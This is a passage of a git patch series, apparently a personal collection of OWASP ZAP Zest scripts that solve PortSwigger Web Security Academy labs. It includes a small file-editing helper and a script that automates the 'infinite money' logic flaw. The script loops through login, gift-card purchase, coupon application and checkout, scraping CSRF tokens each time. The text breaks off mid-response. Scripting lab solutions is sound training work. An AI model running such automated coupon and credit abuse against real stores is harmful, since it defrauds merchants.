false, + "elementType": "ZestExpressionStatusCode" + }, + "ifStatements": [], + "elseStatements": [ + { + "url": "https://0ac2002704a8b8be80c3675b00ec0015.web-security-academy.net/my-account", + "data": "", + "method": "GET", + "headers": "DNT: 1\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: same-origin\r\nSec-Fetch-User: ?1\r\n", + "response": { + "url": "https://0a4a00c20459b27582df383d0022002e.web-security-academy.net/my-account", + "headers": "HTTP/1.1 302 Found\nLocation: /login\nX-Frame-Options: SAMEORIGIN\nConnection: close\nContent-Length: 0\n\n", + "body": "", + "statusCode": 302, + "responseTimeInMs": 225, + "elementType": "ZestResponse" + }, + "assertions": [ + { + "rootExpression": { + "code": 302, + "not": false, + "elementType": "ZestExpressionStatusCode" + }, + "elementType": "ZestAssertion" + }, + { + "rootExpression": { + "length": 0, + "approx": 1, + "variableName": "response.body", + "not": false, + "elementType": "ZestExpressionLength" + }, + "elementType": "ZestAssertion" + } + ], + "followRedirects": false, + "timestamp": 1686664874167, + "cookies": [], + "index": 14, + "enabled": true, + "elementType": "ZestRequest" + }, + { + "index": 7, + "enabled": true, + "elementType": "ZestControlLoopBreak" + } + ], + "index": 13, + "enabled": true, + "elementType": "ZestConditional" + }, + { + "fieldDefinition": { + "formIndex": 0, + "fieldName": "csrf", + "elementType": "ZestFieldDefinition" + }, + "variableName": "csrf4", + "index": 8, + "enabled": true, + "elementType": "ZestAssignFieldValue" + } + ], + "variableName": "test3", + "index": 1, + "enabled": true, + "elementType": "ZestLoopInteger" + } + ], + "authentication": [], + "index": 0, + "enabled": true, + "elementType": "ZestScript" +} From 088dbe99bcf01f6707f3be0e5560c6023753a0c0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Timoth=C3=A9e=20Ruffenach?= Date: Thu, 15 Jun 2023 20:28:11 +0200 Subject: [PATCH 19/29] add feature Encode line file in MD5 and Inserting string before line to fileAction.py MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Timothée Ruffenach --- standalone/fileActions.py | 70 +++++++++++++++++++++++++++++++++++---- 1 file changed, 63 insertions(+), 7 deletions(-) diff --git a/standalone/fileActions.py b/standalone/fileActions.py index aa0beb7b..88b983d0 100644 --- a/standalone/fileActions.py +++ b/standalone/fileActions.py @@ -1,5 +1,5 @@ # @author RUFFENACH Timothée -# Version 1.1 +# Version 1.3 # Scrip to edit file # Help me for lab burpsuite resolve with zap @@ -7,6 +7,7 @@ from java.io import File, FileWriter from java.awt.event import WindowAdapter, WindowEvent from java.awt import Toolkit +import hashlib class SelectionMenu(JFrame): def __init__(self): @@ -16,7 +17,10 @@ def __init__(self): self.getContentPane().setLayout(None) # Create selection menu - options = ["Inserting a character string alternately", "Duplicate data file", "Create Json tab with data file"] + options = ["Inserting a character string alternately", \ + "Duplicate data file", "Create Json tab with data file", \ + "Encode line file in MD5", \ + "Inserting string before line"] # Create scrolling menu self.dropdown = JComboBox(options) @@ -42,6 +46,12 @@ def selection_changee(self, event): elif selected_option == "Create Json tab with data file": self.dropdown.setPopupVisible(False) self.fonction_option3() + elif selected_option == "Encode line file in MD5": + self.dropdown.setPopupVisible(False) + self.fonction_option4() + elif selected_option == "Inserting string before line": + self.dropdown.setPopupVisible(False) + self.fonction_option5() # close scrolling menu self.dropdown.setPopupVisible(False) @@ -135,8 +145,51 @@ def fonction_option3(self): dataJson.append("]\n") self.saveFile(dataJson) + + def fonction_option4(self): + + filePath = self.chooseFile() + print("path", filePath) - # get number line file + # read data of file + file = open(filePath, "r") + data = file.readlines() + file.close() + + # get numberline + self.getNumberLine(filePath) + + # create tab tanMD5 + tabMD5 =[] + + for i in range(len(data)): + data[i] = data[i].rstrip('\n') + tabMD5.append(self.encodeMD5(str(data[i]))+"\n") + + self.saveFile(tabMD5) + + def fonction_option5(self): + + # get mandatory data + string = self.getString() + print("string", string) + + filePath = self.chooseFile() + print("path", filePath) + + # read data of file + file = open(filePath, "r") + data = file.readlines() + file.close() + + for i in range(len(data)): + data[i] = string + data[i] + + # get numberline + self.getNumberLine(filePath) + + self.saveFile(data) + def getNumberLine(self,filePath): nb_line = 0 @@ -190,7 +243,6 @@ def chooseFile(self): return filePath - def getNumber(self,min,max,asked): number = JOptionPane.showInputDialog(None, asked, "Input", JOptionPane.QUESTION_MESSAGE) @@ -201,13 +253,11 @@ def getNumber(self,min,max,asked): JOptionPane.showMessageDialog(None, "Choose number between " + min + " to " + max) self.chooseNumber() - def getString(self): stringInput = JOptionPane.showInputDialog(None, "what is your string : ", "Input", JOptionPane.QUESTION_MESSAGE) return stringInput - - + def center_window(self): screenSize = Toolkit.getDefaultToolkit().getScreenSize() screenWidth = screenSize.width @@ -221,6 +271,12 @@ def center_window(self): self.setLocation(posX, posY) + def encodeMD5(self,string_to_hash): + md5_hash = hashlib.md5() + md5_hash.update(string_to_hash.encode('ascii')) + md5_encoded_string = md5_hash.hexdigest() + return md5_encoded_string + class CustomWindowAdapter(WindowAdapter): def windowClosing(self, event): confirm_closing() From f668db1f9b8fd7efea9c5096fd555133a4c5f61b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Timoth=C3=A9e=20Ruffenach?= Date: Wed, 28 Jun 2023 10:41:39 +0200 Subject: [PATCH 20/29] add infinite_money_logic_flaw.zst MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Timothée Ruffenach --- standalone/infinite_money_logic_flaw.zst | 446 +++++++++++++++++++++++ 1 file changed, 446 insertions(+) create mode 100644 standalone/infinite_money_logic_flaw.zst diff --git a/standalone/infinite_money_logic_flaw.zst b/standalone/infinite_money_logic_flaw.zst new file mode 100644 index 00000000..4491ee3e --- /dev/null +++ b/standalone/infinite_money_logic_flaw.zst @@ -0,0 +1,446 @@ +{ + "about": "This is a Zest script. For more details about Zest visit https://github.com/zaproxy/zest/", + "zestVersion": "0.8", + "title": "Infinite_money_logice_flaw", + "description": "", + "prefix": "https://0a6c00d803649bfe801d532b00f0003f.web-security-academy.net", + "type": "StandAlone", + "parameters": { + "tokenStart": "{{", + "tokenEnd": "}}", + "tokens": {}, + "elementType": "ZestVariables" + }, + "statements": [ + { + "set": { + "start": 1, + "end": 1000, + "step": 1, + "elementType": "ZestLoopTokenIntegerSet" + }, + "statements": [ + { + "url": "https://0a8a00f704899b2a835f692200e60059.web-security-academy.net/login", + "data": "", + "method": "GET", + "headers": "DNT: 1\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: same-origin\r\nSec-Fetch-User: ?1\r\n", + "response": { + "url": "https://0a6c00d803649bfe801d532b00f0003f.web-security-academy.net/login", + "headers": "HTTP/1.1 200 OK\nContent-Type: text/html; charset\u003dutf-8\nX-Frame-Options: SAMEORIGIN\nConnection: close\nContent-Length: 3526\n\n", + "body": "\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n \u003chead\u003e\n \u003clink href\u003d/resources/labheader/css/academyLabHeader.css rel\u003dstylesheet\u003e\n \u003clink href\u003d/resources/css/labs.css rel\u003dstylesheet\u003e\n \u003ctitle\u003eInfinite money logic flaw\u003c/title\u003e\n \u003c/head\u003e\n \u003cbody\u003e\n \u003cscript src\u003d\"/resources/labheader/js/labHeader.js\"\u003e\u003c/script\u003e\n \u003cdiv id\u003d\"academyLabHeader\"\u003e\n \u003csection class\u003d\u0027academyLabBanner\u0027\u003e\n \u003cdiv class\u003dcontainer\u003e\n \u003cdiv class\u003dlogo\u003e\u003c/div\u003e\n \u003cdiv class\u003dtitle-container\u003e\n \u003ch2\u003eInfinite money logic flaw\u003c/h2\u003e\n \u003ca id\u003d\u0027exploit-link\u0027 class\u003d\u0027button\u0027 target\u003d\u0027_blank\u0027 href\u003d\u0027https://exploit-0aa8004503a99bfa805a52030133006d.exploit-server.net/email\u0027\u003eEmail client\u003c/a\u003e\n \u003ca class\u003dlink-back href\u003d\u0027https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-infinite-money\u0027\u003e\n Back\u0026nbsp;to\u0026nbsp;lab\u0026nbsp;description\u0026nbsp;\n \u003csvg version\u003d1.1 id\u003dLayer_1 xmlns\u003d\u0027http://www.w3.org/2000/svg\u0027 xmlns:xlink\u003d\u0027http://www.w3.org/1999/xlink\u0027 x\u003d0px y\u003d0px viewBox\u003d\u00270 0 28 30\u0027 enable-background\u003d\u0027new 0 0 28 30\u0027 xml:space\u003dpreserve title\u003dback-arrow\u003e\n \u003cg\u003e\n \u003cpolygon points\u003d\u00271.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15\u0027\u003e\u003c/polygon\u003e\n \u003cpolygon points\u003d\u002714.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15\u0027\u003e\u003c/polygon\u003e\n \u003c/g\u003e\n \u003c/svg\u003e\n \u003c/a\u003e\n \u003c/div\u003e\n \u003cdiv class\u003d\u0027widgetcontainer-lab-status is-notsolved\u0027\u003e\n \u003cspan\u003eLAB\u003c/span\u003e\n \u003cp\u003eNot solved\u003c/p\u003e\n \u003cspan class\u003dlab-status-icon\u003e\u003c/span\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/section\u003e\n \u003c/div\u003e\n \u003cdiv theme\u003d\"\"\u003e\n \u003csection class\u003d\"maincontainer\"\u003e\n \u003cdiv class\u003d\"container is-page\"\u003e\n \u003cheader class\u003d\"navigation-header\"\u003e\n \u003csection class\u003d\"top-links\"\u003e\n \u003ca href\u003d/\u003eHome\u003c/a\u003e\u003cp\u003e|\u003c/p\u003e\n \u003ca href\u003d\"/my-account\"\u003eMy account\u003c/a\u003e\u003cp\u003e|\u003c/p\u003e\n \u003ca href\u003d/cart\u003e\n \u003cimg src\u003d/resources/images/cart_blue.svg /\u003e\n \u003c/a\u003e\n \u003cp\u003e0\u003c/p\u003e\n \u003cp\u003e|\u003c/p\u003e\n \u003c/section\u003e\n \u003c/header\u003e\n \u003cheader class\u003d\"notification-header\"\u003e\n \u003c/header\u003e\n \u003ch1\u003eLogin\u003c/h1\u003e\n \u003csection\u003e\n \u003cform class\u003dlogin-form method\u003dPOST action\u003d\"/login\"\u003e\n \u003cinput required type\u003d\"hidden\" name\u003d\"csrf\" value\u003d\"rKY2CPBxvtQ1KxqGH4vhSA7uUvVITajM\"\u003e\n \u003clabel\u003eUsername\u003c/label\u003e\n \u003cinput required type\u003dusername name\u003d\"username\" autofocus\u003e\n \u003clabel\u003ePassword\u003c/label\u003e\n \u003cinput required type\u003dpassword name\u003d\"password\"\u003e\n \u003cbutton class\u003dbutton type\u003dsubmit\u003e Log in \u003c/button\u003e\n \u003c/form\u003e\n \u003c/section\u003e\n \u003c/div\u003e\n \u003c/section\u003e\n \u003cdiv class\u003d\"footer-wrapper\"\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n", + "statusCode": 200, + "responseTimeInMs": 174, + "elementType": "ZestResponse" + }, + "assertions": [ + { + "rootExpression": { + "code": 200, + "not": false, + "elementType": "ZestExpressionStatusCode" + }, + "elementType": "ZestAssertion" + }, + { + "rootExpression": { + "length": 3526, + "approx": 1, + "variableName": "response.body", + "not": false, + "elementType": "ZestExpressionLength" + }, + "elementType": "ZestAssertion" + } + ], + "followRedirects": false, + "timestamp": 1687934456063, + "cookies": [], + "index": 1, + "enabled": true, + "elementType": "ZestRequest" + }, + { + "fieldDefinition": { + "formIndex": 0, + "fieldName": "csrf", + "elementType": "ZestFieldDefinition" + }, + "variableName": "csrf1", + "index": 2, + "enabled": true, + "elementType": "ZestAssignFieldValue" + }, + { + "url": "https://0a8a00f704899b2a835f692200e60059.web-security-academy.net/login", + "data": "csrf\u003d{{csrf1}}\u0026username\u003dwiener\u0026password\u003dpeter", + "method": "POST", + "headers": "Content-Type: application/x-www-form-urlencoded\r\nContent-Length: 68\r\nOrigin: https://0a6c00d803649bfe801d532b00f0003f.web-security-academy.net\r\nDNT: 1\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: same-origin\r\nSec-Fetch-User: ?1\r\n", + "response": { + "url": "https://0a6c00d803649bfe801d532b00f0003f.web-security-academy.net/login", + "headers": "HTTP/1.1 302 Found\nLocation: /my-account?id\u003dwiener\nSet-Cookie: session\u003dNgwWEYogYBdQRa3fSIM5nnj5Iq5ZH3wf; Secure; HttpOnly; SameSite\u003dNone\nX-Frame-Options: SAMEORIGIN\nConnection: close\nContent-Length: 0\n\n", + "body": "", + "statusCode": 302, + "responseTimeInMs": 237, + "elementType": "ZestResponse" + }, + "assertions": [ + { + "rootExpression": { + "code": 302, + "not": false, + "elementType": "ZestExpressionStatusCode" + }, + "elementType": "ZestAssertion" + }, + { + "rootExpression": { + "length": 0, + "approx": 1, + "variableName": "response.body", + "not": false, + "elementType": "ZestExpressionLength" + }, + "elementType": "ZestAssertion" + } + ], + "followRedirects": false, + "timestamp": 1687934473559, + "cookies": [], + "index": 3, + "enabled": true, + "elementType": "ZestRequest" + }, + { + "url": "https://0a8a00f704899b2a835f692200e60059.web-security-academy.net/cart", + "data": "productId\u003d2\u0026redir\u003dPRODUCT\u0026quantity\u003d1", + "method": "POST", + "headers": "Content-Type: application/x-www-form-urlencoded\r\nContent-Length: 36\r\nOrigin: https://0a6c00d803649bfe801d532b00f0003f.web-security-academy.net\r\nDNT: 1\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: same-origin\r\nSec-Fetch-User: ?1\r\n", + "response": { + "url": "https://0a6c00d803649bfe801d532b00f0003f.web-security-academy.net/cart", + "headers": "HTTP/1.1 302 Found\nLocation: /product?productId\u003d2\nX-Frame-Options: SAMEORIGIN\nConnection: close\nContent-Length: 0\n\n", + "body": "", + "statusCode": 302, + "responseTimeInMs": 260, + "elementType": "ZestResponse" + }, + "assertions": [ + { + "rootExpression": { + "code": 302, + "not": false, + "elementType": "ZestExpressionStatusCode" + }, + "elementType": "ZestAssertion" + }, + { + "rootExpression": { + "length": 0, + "approx": 1, + "variableName": "response.body", + "not": false, + "elementType": "ZestExpressionLength" + }, + "elementType": "ZestAssertion" + } + ], + "followRedirects": false, + "timestamp": 1687934495626, + "cookies": [], + "index": 4, + "enabled": true, + "elementType": "ZestRequest" + }, + { + "url": "https://0a8a00f704899b2a835f692200e60059.web-security-academy.net/cart", + "data": "", + "method": "GET", + "headers": "DNT: 1\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: same-origin\r\nSec-Fetch-User: ?1\r\n", + "response": { + "url": "https://0a6c00d803649bfe801d532b00f0003f.web-security-academy.net/cart", + "headers": "HTTP/1.1 200 OK\nContent-Type: text/html; charset\u003dutf-8\nX-Frame-Options: SAMEORIGIN\nConnection: close\nContent-Length: 6400\n\n", + "body": "\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n \u003chead\u003e\n \u003clink href\u003d/resources/labheader/css/academyLabHeader.css rel\u003dstylesheet\u003e\n \u003clink href\u003d/resources/css/labs.css rel\u003dstylesheet\u003e\n \u003ctitle\u003eInfinite money logic flaw\u003c/title\u003e\n \u003c/head\u003e\n \u003cbody\u003e\n \u003cscript src\u003d\"/resources/labheader/js/labHeader.js\"\u003e\u003c/script\u003e\n \u003cdiv id\u003d\"academyLabHeader\"\u003e\n \u003csection class\u003d\u0027academyLabBanner\u0027\u003e\n \u003cdiv class\u003dcontainer\u003e\n \u003cdiv class\u003dlogo\u003e\u003c/div\u003e\n \u003cdiv class\u003dtitle-container\u003e\n \u003ch2\u003eInfinite money logic flaw\u003c/h2\u003e\n \u003ca id\u003d\u0027exploit-link\u0027 class\u003d\u0027button\u0027 target\u003d\u0027_blank\u0027 href\u003d\u0027https://exploit-0aa8004503a99bfa805a52030133006d.exploit-server.net/email\u0027\u003eEmail client\u003c/a\u003e\n \u003ca class\u003dlink-back href\u003d\u0027https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-infinite-money\u0027\u003e\n Back\u0026nbsp;to\u0026nbsp;lab\u0026nbsp;description\u0026nbsp;\n \u003csvg version\u003d1.1 id\u003dLayer_1 xmlns\u003d\u0027http://www.w3.org/2000/svg\u0027 xmlns:xlink\u003d\u0027http://www.w3.org/1999/xlink\u0027 x\u003d0px y\u003d0px viewBox\u003d\u00270 0 28 30\u0027 enable-background\u003d\u0027new 0 0 28 30\u0027 xml:space\u003dpreserve title\u003dback-arrow\u003e\n \u003cg\u003e\n \u003cpolygon points\u003d\u00271.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15\u0027\u003e\u003c/polygon\u003e\n \u003cpolygon points\u003d\u002714.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15\u0027\u003e\u003c/polygon\u003e\n \u003c/g\u003e\n \u003c/svg\u003e\n \u003c/a\u003e\n \u003c/div\u003e\n \u003cdiv class\u003d\u0027widgetcontainer-lab-status is-notsolved\u0027\u003e\n \u003cspan\u003eLAB\u003c/span\u003e\n \u003cp\u003eNot solved\u003c/p\u003e\n \u003cspan class\u003dlab-status-icon\u003e\u003c/span\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/section\u003e\n \u003c/div\u003e\n \u003cdiv theme\u003d\"\"\u003e\n \u003csection class\u003d\"maincontainer\"\u003e\n \u003cdiv class\u003d\"container is-page\"\u003e\n \u003cheader class\u003d\"navigation-header\"\u003e\n \u003cp\u003e\u003cstrong\u003eStore credit: $100.00\u003c/strong\u003e\u003c/p\u003e\n \u003csection class\u003d\"top-links\"\u003e\n \u003ca href\u003d/\u003eHome\u003c/a\u003e\u003cp\u003e|\u003c/p\u003e\n \u003ca href\u003d\"/my-account?id\u003dwiener\"\u003eMy account\u003c/a\u003e\u003cp\u003e|\u003c/p\u003e\n \u003ca href\u003d/cart\u003e\n \u003cimg src\u003d/resources/images/cart_blue.svg /\u003e\n \u003c/a\u003e\n \u003cp\u003e1\u003c/p\u003e\n \u003cp\u003e|\u003c/p\u003e\n \u003c/section\u003e\n \u003c/header\u003e\n \u003cheader class\u003d\"notification-header\"\u003e\n \u003c/header\u003e\n \u003cp\u003e\u003cstrong\u003eCart\u003c/strong\u003e\u003c/p\u003e\n \u003ctable\u003e\n \u003ctbody\u003e\n \u003ctr\u003e\n \u003cth\u003eName\u003c/th\u003e\n \u003cth\u003ePrice\u003c/th\u003e\n \u003cth\u003eQuantity\u003c/th\u003e\n \u003cth\u003e\u003c/th\u003e\n \u003c/tr\u003e\n \u003ctr\u003e\n \u003ctd\u003e\n \u003ca href\u003d/product?productId\u003d2\u003eGift Card\u003c/a\u003e\n \u003c/td\u003e\n \u003ctd\u003e$10.00\u003c/td\u003e\n \u003ctd\u003e\n \u003cform action\u003d/cart method\u003dPOST style\u003d\u0027display: inline\u0027\u003e\n \u003cinput required type\u003dhidden name\u003dproductId value\u003d2\u003e\n \u003cinput required type\u003dhidden name\u003dquantity value\u003d-1\u003e\n \u003cinput required type\u003dhidden name\u003dredir value\u003dCART\u003e\n \u003cbutton type\u003dsubmit class\u003dbutton style\u003d\u0027min-width: auto\u0027\u003e-\u003c/button\u003e\n \u003c/form\u003e\n 1\n \u003cform action\u003d/cart method\u003dPOST style\u003d\u0027display: inline\u0027\u003e\n \u003cinput required type\u003dhidden name\u003dproductId value\u003d2\u003e\n \u003cinput required type\u003dhidden name\u003dquantity value\u003d1\u003e\n \u003cinput required type\u003dhidden name\u003dredir value\u003dCART\u003e\n \u003cbutton type\u003dsubmit class\u003dbutton style\u003d\u0027min-width: auto\u0027\u003e+\u003c/button\u003e\n \u003c/form\u003e\n \u003c/td\u003e\n \u003ctd\u003e\n \u003cform action\u003d/cart method\u003dPOST style\u003d\u0027display: inline\u0027\u003e\n \u003cinput required type\u003dhidden name\u003dproductId value\u003d2\u003e\n \u003cinput required type\u003dhidden name\u003dquantity value\u003d-1\u003e\n \u003cinput required type\u003dhidden name\u003dredir value\u003dCART\u003e\n \u003cbutton type\u003dsubmit class\u003dbutton style\u003d\u0027min-width: auto\u0027\u003eRemove\u003c/button\u003e\n \u003c/form\u003e\n \u003c/td\u003e\n \u003c/tr\u003e\n \u003c/tbody\u003e\n \u003c/table\u003e\n \u003cform class\u003dlogin-form id\u003dcoupon-form action\u003d/cart/coupon method\u003dPOST \u003e\n \u003clabel\u003eCoupon:\u003c/label\u003e\n \u003cinput required type\u003d\"hidden\" name\u003d\"csrf\" value\u003d\"yi4DjWJLkwst7AyzK770BFeKb0bJDiM8\"\u003e\n \u003cinput required placeholder\u003d\"Add coupon\" type\u003dtext name\u003dcoupon\u003e\n \u003cbutton class\u003dbutton type\u003dsubmit\u003eApply\u003c/button\u003e\n \u003c/form\u003e\n \u003ctable\u003e\n \u003ctbody\u003e\n \u003ctr\u003e\n \u003cth\u003eTotal:\u003c/th\u003e\n \u003cth\u003e$10.00\u003c/th\u003e\n \u003c/tr\u003e\n \u003c/tbody\u003e\n \u003c/table\u003e\n \u003cform class\u003dlogin-form action\u003d/cart/checkout method\u003dPOST\u003e\n \u003cinput required type\u003d\"hidden\" name\u003d\"csrf\" value\u003d\"yi4DjWJLkwst7AyzK770BFeKb0bJDiM8\"\u003e\n \u003cbutton class\u003dbutton type\u003dsubmit\u003ePlace order\u003c/button\u003e\n \u003c/form\u003e\n \u003c/div\u003e\n \u003c/section\u003e\n \u003cdiv class\u003d\"footer-wrapper\"\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n", + "statusCode": 200, + "responseTimeInMs": 185, + "elementType": "ZestResponse" + }, + "assertions": [ + { + "rootExpression": { + "code": 200, + "not": false, + "elementType": "ZestExpressionStatusCode" + }, + "elementType": "ZestAssertion" + }, + { + "rootExpression": { + "length": 6400, + "approx": 1, + "variableName": "response.body", + "not": false, + "elementType": "ZestExpressionLength" + }, + "elementType": "ZestAssertion" + } + ], + "followRedirects": false, + "timestamp": 1687934497990, + "cookies": [], + "index": 5, + "enabled": true, + "elementType": "ZestRequest" + }, + { + "fieldDefinition": { + "formIndex": 3, + "fieldName": "csrf", + "elementType": "ZestFieldDefinition" + }, + "variableName": "csrf2", + "index": 6, + "enabled": true, + "elementType": "ZestAssignFieldValue" + }, + { + "fieldDefinition": { + "formIndex": 4, + "fieldName": "csrf", + "elementType": "ZestFieldDefinition" + }, + "variableName": "csrf3", + "index": 7, + "enabled": true, + "elementType": "ZestAssignFieldValue" + }, + { + "url": "https://0a8a00f704899b2a835f692200e60059.web-security-academy.net/cart/coupon", + "data": "csrf\u003d{{csrf3}}\u0026coupon\u003dSIGNUP30", + "method": "POST", + "headers": "Content-Type: application/x-www-form-urlencoded\r\nContent-Length: 53\r\nOrigin: https://0a6c00d803649bfe801d532b00f0003f.web-security-academy.net\r\nDNT: 1\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: same-origin\r\nSec-Fetch-User: ?1\r\n", + "response": { + "url": "https://0a6c00d803649bfe801d532b00f0003f.web-security-academy.net/cart/coupon", + "headers": "HTTP/1.1 302 Found\nLocation: /cart\nX-Frame-Options: SAMEORIGIN\nConnection: close\nContent-Length: 14\n\n", + "body": "Coupon applied", + "statusCode": 302, + "responseTimeInMs": 171, + "elementType": "ZestResponse" + }, + "assertions": [ + { + "rootExpression": { + "code": 302, + "not": false, + "elementType": "ZestExpressionStatusCode" + }, + "elementType": "ZestAssertion" + }, + { + "rootExpression": { + "length": 14, + "approx": 1, + "variableName": "response.body", + "not": false, + "elementType": "ZestExpressionLength" + }, + "elementType": "ZestAssertion" + } + ], + "followRedirects": false, + "timestamp": 1687934502826, + "cookies": [], + "index": 8, + "enabled": true, + "elementType": "ZestRequest" + }, + { + "url": "https://0a8a00f704899b2a835f692200e60059.web-security-academy.net/cart/checkout", + "data": "csrf\u003d{{csrf3}}", + "method": "POST", + "headers": "Content-Type: application/x-www-form-urlencoded\r\nContent-Length: 37\r\nOrigin: https://0a6c00d803649bfe801d532b00f0003f.web-security-academy.net\r\nDNT: 1\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: same-origin\r\nSec-Fetch-User: ?1\r\n", + "response": { + "url": "https://0a6c00d803649bfe801d532b00f0003f.web-security-academy.net/cart/checkout", + "headers": "HTTP/1.1 303 See Other\nLocation: /cart/order-confirmation?order-confirmed\u003dtrue\nX-Frame-Options: SAMEORIGIN\nConnection: close\nContent-Length: 0\n\n", + "body": "", + "statusCode": 303, + "responseTimeInMs": 166, + "elementType": "ZestResponse" + }, + "assertions": [ + { + "rootExpression": { + "code": 303, + "not": false, + "elementType": "ZestExpressionStatusCode" + }, + "elementType": "ZestAssertion" + }, + { + "rootExpression": { + "length": 0, + "approx": 1, + "variableName": "response.body", + "not": false, + "elementType": "ZestExpressionLength" + }, + "elementType": "ZestAssertion" + } + ], + "followRedirects": false, + "timestamp": 1687934506126, + "cookies": [], + "index": 9, + "enabled": true, + "elementType": "ZestRequest" + }, + { + "url": "https://0a8a00f704899b2a835f692200e60059.web-security-academy.net/cart/order-confirmation?order-confirmed\u003dtrue", + "data": "", + "method": "GET", + "headers": "DNT: 1\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: same-origin\r\nSec-Fetch-User: ?1\r\n", + "response": { + "url": "https://0a6c00d803649bfe801d532b00f0003f.web-security-academy.net/cart/order-confirmation?order-confirmed\u003dtrue", + "headers": "HTTP/1.1 200 OK\nContent-Type: text/html; charset\u003dutf-8\nX-Frame-Options: SAMEORIGIN\nConnection: close\nContent-Length: 4682\n\n", + "body": "\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n \u003chead\u003e\n \u003clink href\u003d/resources/labheader/css/academyLabHeader.css rel\u003dstylesheet\u003e\n \u003clink href\u003d/resources/css/labs.css rel\u003dstylesheet\u003e\n \u003ctitle\u003eInfinite money logic flaw\u003c/title\u003e\n \u003c/head\u003e\n \u003cbody\u003e\n \u003cscript src\u003d\"/resources/labheader/js/labHeader.js\"\u003e\u003c/script\u003e\n \u003cdiv id\u003d\"academyLabHeader\"\u003e\n \u003csection class\u003d\u0027academyLabBanner\u0027\u003e\n \u003cdiv class\u003dcontainer\u003e\n \u003cdiv class\u003dlogo\u003e\u003c/div\u003e\n \u003cdiv class\u003dtitle-container\u003e\n \u003ch2\u003eInfinite money logic flaw\u003c/h2\u003e\n \u003ca id\u003d\u0027exploit-link\u0027 class\u003d\u0027button\u0027 target\u003d\u0027_blank\u0027 href\u003d\u0027https://exploit-0aa8004503a99bfa805a52030133006d.exploit-server.net/email\u0027\u003eEmail client\u003c/a\u003e\n \u003ca class\u003dlink-back href\u003d\u0027https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-infinite-money\u0027\u003e\n Back\u0026nbsp;to\u0026nbsp;lab\u0026nbsp;description\u0026nbsp;\n \u003csvg version\u003d1.1 id\u003dLayer_1 xmlns\u003d\u0027http://www.w3.org/2000/svg\u0027 xmlns:xlink\u003d\u0027http://www.w3.org/1999/xlink\u0027 x\u003d0px y\u003d0px viewBox\u003d\u00270 0 28 30\u0027 enable-background\u003d\u0027new 0 0 28 30\u0027 xml:space\u003dpreserve title\u003dback-arrow\u003e\n \u003cg\u003e\n \u003cpolygon points\u003d\u00271.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15\u0027\u003e\u003c/polygon\u003e\n \u003cpolygon points\u003d\u002714.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15\u0027\u003e\u003c/polygon\u003e\n \u003c/g\u003e\n \u003c/svg\u003e\n \u003c/a\u003e\n \u003c/div\u003e\n \u003cdiv class\u003d\u0027widgetcontainer-lab-status is-notsolved\u0027\u003e\n \u003cspan\u003eLAB\u003c/span\u003e\n \u003cp\u003eNot solved\u003c/p\u003e\n \u003cspan class\u003dlab-status-icon\u003e\u003c/span\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/section\u003e\n \u003c/div\u003e\n \u003cdiv theme\u003d\"\"\u003e\n \u003csection class\u003d\"maincontainer\"\u003e\n \u003cdiv class\u003d\"container is-page\"\u003e\n \u003cheader class\u003d\"navigation-header\"\u003e\n \u003cp\u003e\u003cstrong\u003eStore credit: $93.00\u003c/strong\u003e\u003c/p\u003e\n \u003csection class\u003d\"top-links\"\u003e\n \u003ca href\u003d/\u003eHome\u003c/a\u003e\u003cp\u003e|\u003c/p\u003e\n \u003ca href\u003d\"/my-account?id\u003dwiener\"\u003eMy account\u003c/a\u003e\u003cp\u003e|\u003c/p\u003e\n \u003ca href\u003d/cart\u003e\n \u003cimg src\u003d/resources/images/cart_blue.svg /\u003e\n \u003c/a\u003e\n \u003cp\u003e0\u003c/p\u003e\n \u003cp\u003e|\u003c/p\u003e\n \u003c/section\u003e\n \u003c/header\u003e\n \u003cheader class\u003d\"notification-header\"\u003e\n \u003c/header\u003e\n \u003cp\u003e\u003cstrong\u003eYour order is on its way!\u003c/strong\u003e\u003c/p\u003e\n \u003ctable\u003e\n \u003ctbody\u003e\n \u003ctr\u003e\n \u003cth\u003eName\u003c/th\u003e\n \u003cth\u003ePrice\u003c/th\u003e\n 